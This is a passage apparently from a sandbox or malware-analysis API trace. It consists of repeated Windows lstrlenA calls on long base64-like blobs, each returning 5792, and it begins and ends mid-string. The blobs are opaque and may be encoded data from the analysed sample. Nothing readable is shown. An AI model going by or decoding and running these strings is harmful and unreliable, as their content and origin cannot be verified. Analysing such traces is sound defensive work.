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") returned 5792 [0163.809] lstrlenA (lpString="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") returned 5792 [0163.809] lstrlenA (lpString="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") returned 5792 [0163.809] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeu